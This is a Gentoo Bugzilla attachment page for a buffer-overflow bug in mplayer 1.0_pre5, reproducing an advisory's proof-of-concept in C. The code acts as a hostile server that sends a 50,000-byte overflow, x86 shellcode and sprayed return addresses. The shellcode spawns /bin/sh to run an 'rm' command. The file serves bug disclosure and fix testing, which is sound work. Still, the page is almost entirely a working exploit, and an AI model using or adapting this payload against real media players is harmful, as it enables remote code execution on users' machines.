Go to:
Gentoo Home
Documentation
Forums
Lists
Bugs
Planet
Store
Wiki
Get Gentoo!
Gentoo's Bugzilla – Attachment 46027 Details for
Bug 74473
media-video/mplayer-1.0_pre5: get_header overflows data buffer
Home
|
New
–
[Ex]
|
Browse
|
Search
|
Privacy Policy
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
17-s.c from the advisory
bug74473-17-s.c (text/plain), 1.69 KB, created by
Sascha Silbe
on 2004-12-15 04:56:13 UTC
(
hide
)
Description:
17-s.c from the advisory
Filename:
MIME Type:
Creator:
Sascha Silbe
Created:
2004-12-15 04:56:13 UTC
Size:
1.69 KB
patch
obsolete
>char payload[] = { > 0xeb ,0x47 > ,0x59 > ,0x89 ,0xca > ,0x83 ,0xc2 ,0x18 > ,0x89 ,0x11 > ,0x31 ,0xc0 > ,0x89 ,0x41 ,0x04 > ,0x83 ,0xc2 ,0x13 > ,0x89 ,0x51 ,0x08 > ,0x83 ,0xc2 ,0x08 > ,0x89 ,0x51 ,0x0c > ,0x83 ,0xc2 ,0x03 > ,0x89 ,0x51 ,0x10 > ,0x89 ,0x41 ,0x14 > ,0x88 ,0x41 ,0x2a > ,0x88 ,0x41 ,0x32 > ,0x88 ,0x41 ,0x35 > ,0x88 ,0x41 ,0x3a > ,0x51 > ,0x83 ,0xc1 ,0x08 > ,0x51 > ,0x83 ,0xc1 ,0x20 > ,0x83 ,0xc1 ,0x03 > ,0x51 > ,0x83 ,0xc0 ,0x3b > ,0x50 > ,0xcd ,0x80 > ,0x31 ,0xc0 > ,0x50 > ,0x40 > ,0x50 > ,0xcd ,0x80 > ,0xe8 ,0xb4 ,0xff ,0xff ,0xff > ,0x61 ,0x62 ,0x63 ,0x64 ,0x65 ,0x66 > ,0x67 ,0x68 ,0x69 ,0x6a ,0x6b ,0x6c > ,0x6d ,0x6e ,0x6f ,0x70 ,0x71 ,0x72 > ,0x73 ,0x74 ,0x75 ,0x76 ,0x77 ,0x78 > ,0x50 ,0x41 ,0x54 ,0x48 ,0x3d ,0x2f > ,0x62 ,0x69 ,0x6e ,0x3a ,0x2f ,0x75 > ,0x73 ,0x72 ,0x2f ,0x62 ,0x69 ,0x6e > ,0x20 ,0x2f ,0x62 ,0x69 ,0x6e ,0x2f > ,0x73 ,0x68 ,0x20 ,0x2d ,0x63 ,0x20 > ,0x72 ,0x6d ,0x20 ,0x78 ,0x2e >} ; > >#include <stdio.h> > >main() >{ > >char buf[256]; >int len; >int s,i; >len=recv(0,buf,256,0); > >printf("hello\n"); >fflush(stdout); > >len=recv(0,buf,256,0); > >printf("hello\n"); >fflush(stdout); > >len=recv(0,buf,256,0); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >fflush(stdout); > >len=recv(0,buf,256,0); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >putchar(0x03); >for (i=0;i<50000;i++) > putchar('A'); >for (i=0;i<sizeof payload;i++) > putchar (payload[i]); > >printf("123"); >for (i=0;i<20000;i++) // RA all the way.... >{ > putchar(0x01); > putchar(0x15); > putchar(0xbb); > putchar(0xbf); >} >fflush(stdout); >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 74473
: 46027